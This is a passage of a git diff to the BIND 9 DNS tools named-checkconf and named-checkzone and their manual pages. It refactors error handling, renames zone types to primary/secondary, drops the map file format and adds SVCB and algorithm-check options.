-#include <isc/netdb.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
 #include <isc/symtab.h>
@@ -38,7 +40,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/zone.h>
 
@@ -92,7 +93,7 @@ dns_zoneopt_t zone_options = DNS_ZONEOPT_CHECKNS | DNS_ZONEOPT_CHECKMX |
 #if CHECK_SIBLING
 			     DNS_ZONEOPT_CHECKSIBLING |
 #endif /* if CHECK_SIBLING */
-			     DNS_ZONEOPT_CHECKWILDCARD |
+			     DNS_ZONEOPT_CHECKSVCB | DNS_ZONEOPT_CHECKWILDCARD |
 			     DNS_ZONEOPT_WARNMXCNAME | DNS_ZONEOPT_WARNSRVCNAME;
 
 /*
@@ -203,7 +204,8 @@ checkns(dns_zone_t *zone, const dns_name_t *name, const dns_name_t *owner,
 		 */
 		cur = ai;
 		while (cur != NULL && cur->ai_canonname == NULL &&
-		       cur->ai_next != NULL) {
+		       cur->ai_next != NULL)
+		{
 			cur = cur->ai_next;
 		}
 		if (cur != NULL && cur->ai_canonname != NULL &&
@@ -405,7 +407,8 @@ checkmx(dns_zone_t *zone, const dns_name_t *name, const dns_name_t *owner) {
 		 */
 		cur = ai;
 		while (cur != NULL && cur->ai_canonname == NULL &&
-		       cur->ai_next != NULL) {
+		       cur->ai_next != NULL)
+		{
 			cur = cur->ai_next;
 		}
 		if (cur != NULL && cur->ai_canonname != NULL &&
@@ -491,7 +494,8 @@ checksrv(dns_zone_t *zone, const dns_name_t *name, const dns_name_t *owner) {
 		 */
 		cur = ai;
 		while (cur != NULL && cur->ai_canonname == NULL &&
-		       cur->ai_next != NULL) {
+		       cur->ai_next != NULL)
+		{
 			cur = cur->ai_next;
 		}
 		if (cur != NULL && cur->ai_canonname != NULL &&
@@ -571,96 +575,6 @@ setup_logging(isc_mem_t *mctx, FILE *errout, isc_log_t **logp) {
 	return (ISC_R_SUCCESS);
 }
 
-/*% scan the zone for oversize TTLs */
-static isc_result_t
-check_ttls(dns_zone_t *zone, dns_ttl_t maxttl) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbversion_t *version = NULL;
-	dns_dbnode_t *node = NULL;
-	dns_dbiterator_t *dbiter = NULL;
-	dns_rdatasetiter_t *rdsiter = NULL;
-	dns_rdataset_t rdataset;
-	dns_fixedname_t fname;
-	dns_name_t *name;
-	name = dns_fixedname_initname(&fname);
-	dns_rdataset_init(&rdataset);
-
-	CHECK(dns_zone_getdb(zone, &db));
-	INSIST(db != NULL);
-
-	CHECK(dns_db_newversion(db, &version));
-	CHECK(dns_db_createiterator(db, 0, &dbiter));
-
-	for (result = dns_dbiterator_first(dbiter); result == ISC_R_SUCCESS;
-	     result = dns_dbiterator_next(dbiter))
-	{
-		result = dns_dbiterator_current(dbiter, &node, name);
-		if (result == DNS_R_NEWORIGIN) {
-			result = ISC_R_SUCCESS;
-		}
-		CHECK(result);
-
-		CHECK(dns_db_allrdatasets(db, node, version, 0, &rdsiter));
-		for (result = dns_rdatasetiter_first(rdsiter);
-		     result == ISC_R_SUCCESS;
-		     result = dns_rdatasetiter_next(rdsiter))
-		{
-			dns_rdatasetiter_current(rdsiter, &rdataset);
-			if (rdataset.ttl > maxttl) {
-				char nbuf[DNS_NAME_FORMATSIZE];
-				char tbuf[255];
-				isc_buffer_t b;
-				isc_region_t r;
-
-				dns_name_format(name, nbuf, sizeof(nbuf));
-				isc_buffer_init(&b, tbuf, sizeof(tbuf) - 1);
-				CHECK(dns_rdatatype_totext(rdataset.type, &b));
-				isc_buffer_usedregion(&b, &r);
-				r.base[r.length] = 0;
-
-				dns_zone_log(zone, ISC_LOG_ERROR,
-					     "%s/%s TTL %d exceeds "
-					     "maximum TTL %d",
-					     nbuf, tbuf, rdataset.ttl, maxttl);
-				dns_rdataset_disassociate(&rdataset);
-				CHECK(ISC_R_RANGE);
-			}
-			dns_rdataset_disassociate(&rdataset);
-		}
-		if (result == ISC_R_NOMORE) {
-			result = ISC_R_SUCCESS;
-		}
-		CHECK(result);
-
-		dns_rdatasetiter_destroy(&rdsiter);
-		dns_db_detachnode(db, &node);
-	}
-
-	if (result == ISC_R_NOMORE) {
-		result = ISC_R_SUCCESS;
-	}
-
-cleanup:
-	if (node != NULL) {
-		dns_db_detachnode(db, &node);
-	}
-	if (rdsiter != NULL) {
-		dns_rdatasetiter_destroy(&rdsiter);
-	}
-	if (dbiter != NULL) {
-		dns_dbiterator_destroy(&dbiter);
-	}
-	if (version != NULL) {
-		dns_db_closeversion(db, &version, false);
-	}
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-
-	return (result);
-}
-
 /*% load the zone */
 isc_result_t
 load_zone(isc_mem_t *mctx, const char *zonename, const char *filename,
@@ -681,9 +595,9 @@ load_zone(isc_mem_t *mctx, const char *zonename, const char *filename,
 			zonename, filename, classname);
 	}
 
-	CHECK(dns_zone_create(&zone, mctx));
+	dns_zone_create(&zone, mctx, 0);
 
-	dns_zone_settype(zone, dns_zone_master);
+	dns_zone_settype(zone, dns_zone_primary);
 
 	isc_buffer_constinit(&buffer, zonename, strlen(zonename));
 	isc_buffer_add(&buffer, strlen(zonename));
@@ -702,7 +616,7 @@ load_zone(isc_mem_t *mctx, const char *zonename, const char *filename,
 		CHECK(dns_zone_setjournal(zone, journal));
 	}
 
-	DE_CONST(classname, region.base);
+	region.base = UNCONST(classname);
 	region.length = strlen(classname);
 	CHECK(dns_rdataclass_fromtext(&rdclass, &region));
 
@@ -724,14 +638,6 @@ load_zone(isc_mem_t *mctx, const char *zonename, const char *filename,
 
 	CHECK(dns_zone_load(zone, false));
 
-	/*
-	 * When loading map files we can't catch oversize TTLs during
-	 * load, so we check for them here.
-	 */
-	if (fileformat == dns_masterformat_map && maxttl != 0) {
-		CHECK(check_ttls(zone, maxttl));
-	}
-
 	if (zonep != NULL) {
 		*zonep = zone;
 		zone = NULL;
diff --git a/bin/check/check-tool.h b/bin/check/check-tool.h
index 6e9e483f54..64ac9e7917 100644
--- a/bin/check/check-tool.h
+++ b/bin/check/check-tool.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef CHECK_TOOL_H
-#define CHECK_TOOL_H
+#pragma once
 
 /*! \file */
 
@@ -49,5 +50,3 @@ extern bool dochecksrv;
 extern dns_zoneopt_t zone_options;
 
 ISC_LANG_ENDDECLS
-
-#endif /* ifndef CHECK_TOOL_H */
diff --git a/bin/check/named-checkconf.c b/bin/check/named-checkconf.c
index 11303e9648..19f672224e 100644
--- a/bin/check/named-checkconf.c
+++ b/bin/check/named-checkconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,7 +24,6 @@
 #include <isc/hash.h>
 #include <isc/log.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -32,21 +33,17 @@
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/rootns.h>
 #include <dns/zone.h>
 
+#include <isccfg/check.h>
 #include <isccfg/grammar.h>
 #include <isccfg/namedconf.h>
 
-#include <bind9/check.h>
-
 #include "check-tool.h"
 
 static const char *program = "named-checkconf";
 
-static bool loadplugins = true;
-
 isc_log_t *logc = NULL;
 
 #define CHECK(r)                             \
@@ -57,13 +54,13 @@ isc_log_t *logc = NULL;
 	} while (0)
 
 /*% usage */
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
 usage(void) {
 	fprintf(stderr,
-		"usage: %s [-chijlvz] [-p [-x]] [-t directory] "
+		"usage: %s [-achijlvz] [-p [-x]] [-t directory] "
 		"[named.conf]\n",
 		program);
 	exit(1);
@@ -158,7 +155,7 @@ configure_hint(const char *zfile, const char *zclass, isc_mem_t *mctx) {
 		return (ISC_R_FAILURE);
 	}
 
-	DE_CONST(zclass, r.base);
+	r.base = UNCONST(zclass);
 	r.length = strlen(zclass);
 	result = dns_rdataclass_fromtext(&rdclass, &r);
 	if (result != ISC_R_SUCCESS) {
@@ -245,9 +242,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 	 * Skip checks when using an alternate data source.
 	 */
 	cfg_map_get(zoptions, "database", &dbobj);
-	if (dbobj != NULL && strcmp("rbt", cfg_obj_asstring(dbobj)) != 0 &&
-	    strcmp("rbt64", cfg_obj_asstring(dbobj)) != 0)
-	{
+	if (dbobj != NULL && strcmp("rbt", cfg_obj_asstring(dbobj)) != 0) {
 		return (ISC_R_SUCCESS);
 	}
 
@@ -276,7 +271,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 	}
 
 	/*
-	 * Is the redirect zone configured as a slave?
+	 * Is the redirect zone configured as a secondary?
 	 */
 	if (strcasecmp(cfg_obj_asstring(typeobj), "redirect") == 0) {
 		cfg_map_get(zoptions, "primaries", &primariesobj);
@@ -305,8 +300,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			zone_options &= ~DNS_ZONEOPT_CHECKDUPRR;
 			zone_options &= ~DNS_ZONEOPT_CHECKDUPRRFAIL;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_CHECKDUPRR;
@@ -325,8 +319,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			zone_options &= ~DNS_ZONEOPT_CHECKMX;
 			zone_options &= ~DNS_ZONEOPT_CHECKMXFAIL;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_CHECKMX;
@@ -356,8 +349,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			zone_options |= DNS_ZONEOPT_WARNMXCNAME;
 			zone_options |= DNS_ZONEOPT_IGNOREMXCNAME;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_WARNMXCNAME;
@@ -376,8 +368,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			zone_options |= DNS_ZONEOPT_WARNSRVCNAME;
 			zone_options |= DNS_ZONEOPT_IGNORESRVCNAME;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_WARNSRVCNAME;
@@ -400,13 +391,34 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			zone_options &= ~DNS_ZONEOPT_CHECKSPF;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_CHECKSPF;
 	}
 
+	obj = NULL;
+	if (get_maps(maps, "check-svcb", &obj)) {
+		if (cfg_obj_asboolean(obj)) {
+			zone_options |= DNS_ZONEOPT_CHECKSVCB;
+		} else {
+			zone_options &= ~DNS_ZONEOPT_CHECKSVCB;
+		}
+	} else {
+		zone_options |= DNS_ZONEOPT_CHECKSVCB;
+	}
+
+	obj = NULL;
+	if (get_maps(maps, "check-wildcard", &obj)) {
+		if (cfg_obj_asboolean(obj)) {
+			zone_options |= DNS_ZONEOPT_CHECKWILDCARD;
+		} else {
+			zone_options &= ~DNS_ZONEOPT_CHECKWILDCARD;
+		}
+	} else {
+		zone_options |= DNS_ZONEOPT_CHECKWILDCARD;
+	}
+
 	obj = NULL;
 	if (get_checknames(maps, &obj)) {
 		if (strcasecmp(cfg_obj_asstring(obj), "warn") == 0) {
@@ -419,8 +431,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			zone_options &= ~DNS_ZONEOPT_CHECKNAMES;
 			zone_options &= ~DNS_ZONEOPT_CHECKNAMESFAIL;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		zone_options |= DNS_ZONEOPT_CHECKNAMES;
@@ -435,11 +446,8 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			masterformat = dns_masterformat_text;
 		} else if (strcasecmp(masterformatstr, "raw") == 0) {
 			masterformat = dns_masterformat_raw;
-		} else if (strcasecmp(masterformatstr, "map") == 0) {
-			masterformat = dns_masterformat_map;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -453,7 +461,7 @@ configure_zone(const char *vclass, const char *view, const cfg_obj_t *zconfig,
 			   NULL);
 	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "%s/%s/%s: %s\n", view, zname, zclass,
-			dns_result_totext(result));
+			isc_result_totext(result));
 	}
 	return (result);
 }
@@ -502,7 +510,7 @@ config_getclass(const cfg_obj_t *classobj, dns_rdataclass_t defclass,
 		*classp = defclass;
 		return (ISC_R_SUCCESS);
 	}
-	DE_CONST(cfg_obj_asstring(classobj), r.base);
+	r.base = UNCONST(cfg_obj_asstring(classobj));
 	r.length = strlen(r.base);
 	return (dns_rdataclass_fromtext(classp, &r));
 }
@@ -567,10 +575,10 @@ load_zones_fromconfig(const cfg_obj_t *config, isc_mem_t *mctx,
 
 static void
 output(void *closure, const char *text, int textlen) {
-	UNUSED(closure);
 	if (fwrite(text, 1, textlen, stdout) != (size_t)textlen) {
+		isc_result_t *result = closure;
 		perror("fwrite");
-		exit(1);
+		*result = ISC_R_FAILURE;
 	}
 }
 
@@ -582,20 +590,21 @@ main(int argc, char **argv) {
 	cfg_obj_t *config = NULL;
 	const char *conffile = NULL;
 	isc_mem_t *mctx = NULL;
-	isc_result_t result;
-	int exit_status = 0;
+	isc_result_t result = ISC_R_SUCCESS;
+	bool cleanup_dst = true;
 	bool load_zones = false;
 	bool list_zones = false;
 	bool print = false;
 	bool nodeprecate = false;
 	unsigned int flags = 0;
+	unsigned int checkflags = BIND_CHECK_PLUGINS | BIND_CHECK_ALGORITHMS;
 
 	isc_commandline_errprint = false;
 
 	/*
 	 * Process memory debugging argument first.
 	 */
-#define CMDLINE_FLAGS "cdhijlm:t:pvxz"
+#define CMDLINE_FLAGS "acdhijlm:t:pvxz"
 	while ((c = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (c) {
 		case 'm':
@@ -611,12 +620,6 @@ main(int argc, char **argv) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
-			if (strcasecmp(isc_commandline_argument, "size") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGSIZE;
-			}
-			if (strcasecmp(isc_commandline_argument, "mctx") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGCTX;
-			}
 			break;
 		default:
 			break;
@@ -628,8 +631,12 @@ main(int argc, char **argv) {
 
 	while ((c = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != EOF) {
 		switch (c) {
+		case 'a':
+			checkflags &= ~BIND_CHECK_ALGORITHMS;
+			break;
+
 		case 'c':
-			loadplugins = false;
+			checkflags &= ~BIND_CHECK_PLUGINS;
 			break;
 
 		case 'd':
@@ -656,7 +663,7 @@ main(int argc, char **argv) {
 			if (result != ISC_R_SUCCESS) {
 				fprintf(stderr, "isc_dir_chroot: %s\n",
 					isc_result_totext(result));
-				exit(1);
+				CHECK(result);
 			}
 			break;
 
@@ -666,7 +673,8 @@ main(int argc, char **argv) {
 
 		case 'v':
 			printf("%s\n", PACKAGE_VERSION);
-			exit(0);
+			result = ISC_R_SUCCESS;
+			goto cleanup;
 
 		case 'x':
 			flags |= CFG_PRINTER_XKEY;
@@ -684,27 +692,29 @@ main(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
+			isc_mem_detach(&mctx);
 			usage();
 
 		default:
 			fprintf(stderr, "%s: unhandled option -%c\n", program,
 				isc_commandline_option);
-			exit(1);
+			CHECK(ISC_R_FAILURE);
 		}
 	}
 
 	if (((flags & CFG_PRINTER_XKEY) != 0) && !print) {
 		fprintf(stderr, "%s: -x cannot be used without -p\n", program);
-		exit(1);
+		CHECK(ISC_R_FAILURE);
 	}
 	if (print && list_zones) {
 		fprintf(stderr, "%s: -l cannot be used with -p\n", program);
-		exit(1);
+		CHECK(ISC_R_FAILURE);
 	}
 
 	if (isc_commandline_index + 1 < argc) {
+		isc_mem_detach(&mctx);
 		usage();
 	}
 	if (argv[isc_commandline_index] != NULL) {
@@ -714,45 +724,48 @@ main(int argc, char **argv) {
 		conffile = NAMED_CONFFILE;
 	}
 
-	RUNTIME_CHECK(setup_logging(mctx, stdout, &logc) == ISC_R_SUCCESS);
+	CHECK(setup_logging(mctx, stdout, &logc));
 
-	dns_result_register();
+	CHECK(dst_lib_init(mctx, NULL));
+	cleanup_dst = true;
 
-	RUNTIME_CHECK(cfg_parser_create(mctx, logc, &parser) == ISC_R_SUCCESS);
+	CHECK(cfg_parser_create(mctx, logc, &parser));
 
 	if (nodeprecate) {
 		cfg_parser_setflags(parser, CFG_PCTX_NODEPRECATED, true);
 	}
 	cfg_parser_setcallback(parser, directory_callback, NULL);
 
-	if (cfg_parse_file(parser, conffile, &cfg_type_namedconf, &config) !=
-	    ISC_R_SUCCESS)
-	{
-		exit(1);
+	CHECK(cfg_parse_file(parser, conffile, &cfg_type_namedconf, &config));
+	CHECK(isccfg_check_namedconf(config, checkflags, logc, mctx));
+	if (load_zones || list_zones) {
+		CHECK(load_zones_fromconfig(config, mctx, list_zones));
 	}
 
-	result = bind9_check_namedconf(config, loadplugins, logc, mctx);
-	if (result != ISC_R_SUCCESS) {
-		exit_status = 1;
+	if (print) {
+		cfg_printx(config, flags, output, &result);
 	}
 
-	if (result == ISC_R_SUCCESS && (load_zones || list_zones)) {
-		result = load_zones_fromconfig(config, mctx, list_zones);
-		if (result != ISC_R_SUCCESS) {
-			exit_status = 1;
-		}
+cleanup:
+	if (config != NULL) {
+		cfg_obj_destroy(parser, &config);
 	}
 
-	if (print && exit_status == 0) {
-		cfg_printx(config, flags, output, NULL);
+	if (parser != NULL) {
+		cfg_parser_destroy(&parser);
 	}
-	cfg_obj_destroy(parser, &config);
 
-	cfg_parser_destroy(&parser);
+	if (cleanup_dst) {
+		dst_lib_destroy();
+	}
 
-	isc_log_destroy(&logc);
+	if (logc != NULL) {
+		isc_log_destroy(&logc);
+	}
 
-	isc_mem_destroy(&mctx);
+	if (mctx != NULL) {
+		isc_mem_destroy(&mctx);
+	}
 
-	return (exit_status);
+	return (result == ISC_R_SUCCESS ? 0 : 1);
 }
diff --git a/bin/check/named-checkconf.rst b/bin/check/named-checkconf.rst
index 4ddaab9112..41dad390fa 100644
--- a/bin/check/named-checkconf.rst
+++ b/bin/check/named-checkconf.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: named-checkconf
+.. program:: named-checkconf
 .. _man_named-checkconf:
 
 named-checkconf - named configuration file syntax checking tool
@@ -29,77 +21,96 @@ named-checkconf - named configuration file syntax checking tool
 Synopsis
 ~~~~~~~~
 
-:program:`named-checkconf` [**-chjlvz**] [**-p** [**-x** ]] [**-t** directory] {filename}
+:program:`named-checkconf` [**-achjlvz**] [**-p** [**-x** ]] [**-t** directory] {filename}
 
 Description
 ~~~~~~~~~~~
 
-``named-checkconf`` checks the syntax, but not the semantics, of a
-``named`` configuration file. The file, along with all files included by it, is parsed and checked for syntax
+:program:`named-checkconf` checks the syntax, but not the semantics, of a
+:iscman:`named` configuration file. The file, along with all files included by it, is parsed and checked for syntax
 errors. If no file is specified,
-``/etc/named.conf`` is read by default.
+|named_conf| is read by default.
 
-Note: files that ``named`` reads in separate parser contexts, such as
-``rndc.key`` and ``bind.keys``, are not automatically read by
-``named-checkconf``. Configuration errors in these files may cause
-``named`` to fail to run, even if ``named-checkconf`` was successful.
-However, ``named-checkconf`` can be run on these files explicitly.
+Note: files that :iscman:`named` reads in separate parser contexts, such as
+``rndc.conf`` or ``rndc.key``, are not automatically read by
+:program:`named-checkconf`.  Configuration errors in these files may cause
+:iscman:`named` to fail to run, even if :program:`named-checkconf` was
+successful.  However, :program:`named-checkconf` can be run on these files
+explicitly.
 
 Options
 ~~~~~~~
 
-``-h``
+.. option:: -a
+
+   Don't check the `dnssec-policy`'s DNSSEC key algorithms against
+   those supported by the crypto provider.  This is useful when checking
+   a `named.conf` intended to be run on another machine with possibly a
+   different set of supported DNSSEC key algorithms.
+
+.. option:: -h
+
    This option prints the usage summary and exits.
 
-``-j``
-   When loading a zonefile, this option instructs ``named`` to read the journal if it exists.
+.. option:: -j
+
+   When loading a zonefile, this option instructs :iscman:`named` to read the journal if it exists.
+
+.. option:: -l
 
-``-l``
    This option lists all the configured zones. Each line of output contains the zone
    name, class (e.g. IN), view, and type (e.g. primary or secondary).
 
-``-c``
+.. option:: -c
+
    This option specifies that only the "core" configuration should be checked. This suppresses the loading of
    plugin modules, and causes all parameters to ``plugin`` statements to
    be ignored.
 
-``-i``
+.. option:: -i
+
    This option ignores warnings on deprecated options.
 
-``-p``
-   This option prints out the ``named.conf`` and included files in canonical form if
-   no errors were detected. See also the ``-x`` option.
+.. option:: -p
+
+   This option prints out the :iscman:`named.conf` and included files in canonical form if
+   no errors were detected. See also the :option:`-x` option.
+
+.. option:: -t directory
 
-``-t directory``
-   This option instructs ``named`` to chroot to ``directory``, so that ``include`` directives in the
+   This option instructs :iscman:`named` to chroot to ``directory``, so that ``include`` directives in the
    configuration file are processed as if run by a similarly chrooted
-   ``named``.
+   :iscman:`named`.
 
-``-v``
-   This option prints the version of the ``named-checkconf`` program and exits.
+.. option:: -v
+
+   This option prints the version of the :program:`named-checkconf` program and exits.
+
+.. option:: -x
 
-``-x``
    When printing the configuration files in canonical form, this option obscures
    shared secrets by replacing them with strings of question marks
-   (``?``). This allows the contents of ``named.conf`` and related files
+   (``?``). This allows the contents of :iscman:`named.conf` and related files
    to be shared - for example, when submitting bug reports -
    without compromising private data. This option cannot be used without
-   ``-p``.
+   :option:`-p`.
+
+.. option:: -z
+
+   This option performs a test load of all zones of type ``primary`` found in :iscman:`named.conf`.
 
-``-z``
-   This option performs a test load of all zones of type ``primary`` found in ``named.conf``.
+.. option:: filename
 
-``filename``
    This indicates the name of the configuration file to be checked. If not specified,
-   it defaults to ``/etc/named.conf``.
+   it defaults to |named_conf|.
 
 Return Values
 ~~~~~~~~~~~~~
 
-``named-checkconf`` returns an exit status of 1 if errors were detected
+:program:`named-checkconf` returns an exit status of 1 if errors were detected
 and 0 otherwise.
 
 See Also
 ~~~~~~~~
 
-:manpage:`named(8)`, :manpage:`named-checkzone(8)`, BIND 9 Administrator Reference Manual.
+:iscman:`named(8) <named>`, :iscman:`named-checkzone(8) <named-checkzone>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/check/named-checkzone.c b/bin/check/named-checkzone.c
index 145f80c096..795624651a 100644
--- a/bin/check/named-checkzone.c
+++ b/bin/check/named-checkzone.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,6 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
-#include <isc/app.h>
 #include <isc/attributes.h>
 #include <isc/commandline.h>
 #include <isc/dir.h>
@@ -23,10 +24,8 @@
 #include <isc/hash.h>
 #include <isc/log.h>
 #include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/socket.h>
+#include <isc/result.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
@@ -38,7 +37,6 @@
 #include <dns/name.h>
 #include <dns/rdataclass.h>
 #include <dns/rdataset.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/zone.h>
 
@@ -47,7 +45,7 @@
 static int quiet = 0;
 static isc_mem_t *mctx = NULL;
 dns_zone_t *zone = NULL;
-dns_zonetype_t zonetype = dns_zone_master;
+dns_zonetype_t zonetype = dns_zone_primary;
 static int dumpzone = 0;
 static const char *output_filename;
 static const char *prog_name = NULL;
@@ -59,12 +57,12 @@ static enum { progmode_check, progmode_compile } progmode;
 		if (result != ISC_R_SUCCESS) {                                \
 			if (!quiet)                                           \
 				fprintf(stderr, "%s() returned %s\n",         \
-					function, dns_result_totext(result)); \
+					function, isc_result_totext(result)); \
 			return (result);                                      \
 		}                                                             \
 	} while (0)
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -146,8 +144,7 @@ main(int argc, char **argv) {
 	} else if (PROGCMP("named-compilezone")) {
 		progmode = progmode_compile;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/* Compilation specific defaults */
@@ -166,8 +163,8 @@ main(int argc, char **argv) {
 	isc_commandline_errprint = false;
 
 	while ((c = isc_commandline_parse(argc, argv,
-					  "c:df:hi:jJ:k:L:l:m:n:qr:s:t:o:vw:DF:"
-					  "M:S:T:W:")) != EOF)
+					  "c:df:hi:jJ:k:L:l:m:n:qr:s:t:o:vw:C:"
+					  "DF:M:S:T:W:")) != EOF)
 	{
 		switch (c) {
 		case 'c':
@@ -362,6 +359,18 @@ main(int argc, char **argv) {
 			workdir = isc_commandline_argument;
 			break;
 
+		case 'C':
+			if (ARGCMP("check-svcb:fail")) {
+				zone_options |= DNS_ZONEOPT_CHECKSVCB;
+			} else if (ARGCMP("check-svcb:ignore")) {
+				zone_options &= ~DNS_ZONEOPT_CHECKSVCB;
+			} else {
+				fprintf(stderr, "invalid argument to -C: %s\n",
+					isc_commandline_argument);
+				exit(1);
+			}
+			break;
+
 		case 'D':
 			dumpzone++;
 			break;
@@ -425,7 +434,7 @@ main(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					prog_name, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			usage();
 
@@ -454,8 +463,6 @@ main(int argc, char **argv) {
 			inputformat = dns_masterformat_raw;
 			fprintf(stderr, "WARNING: input format raw, version "
 					"ignored\n");
-		} else if (strcasecmp(inputformatstr, "map") == 0) {
-			inputformat = dns_masterformat_map;
 		} else {
 			fprintf(stderr, "unknown file format: %s\n",
 				inputformatstr);
@@ -474,12 +481,11 @@ main(int argc, char **argv) {
 			outputformat = dns_masterformat_raw;
 			rawversion = strtol(outputformatstr + 4, &end, 10);
 			if (end == outputformatstr + 4 || *end != '\0' ||
-			    rawversion > 1U) {
+			    rawversion > 1U)
+			{
 				fprintf(stderr, "unknown raw format version\n");
 				exit(1);
 			}
-		} else if (strcasecmp(outputformatstr, "map") == 0) {
-			outputformat = dns_masterformat_map;
 		} else {
 			fprintf(stderr, "unknown file format: %s\n",
 				outputformatstr);
@@ -515,7 +521,8 @@ main(int argc, char **argv) {
 	}
 
 	if (argc - isc_commandline_index < 1 ||
-	    argc - isc_commandline_index > 2) {
+	    argc - isc_commandline_index > 2)
+	{
 		usage();
 	}
 
@@ -525,8 +532,6 @@ main(int argc, char **argv) {
 			      ISC_R_SUCCESS);
 	}
 
-	dns_result_register();
-
 	origin = argv[isc_commandline_index++];
 
 	if (isc_commandline_index == argc) {
diff --git a/bin/check/named-checkzone.rst b/bin/check/named-checkzone.rst
index 95c6c7434e..e6ad56f73c 100644
--- a/bin/check/named-checkzone.rst
+++ b/bin/check/named-checkzone.rst
@@ -1,80 +1,84 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
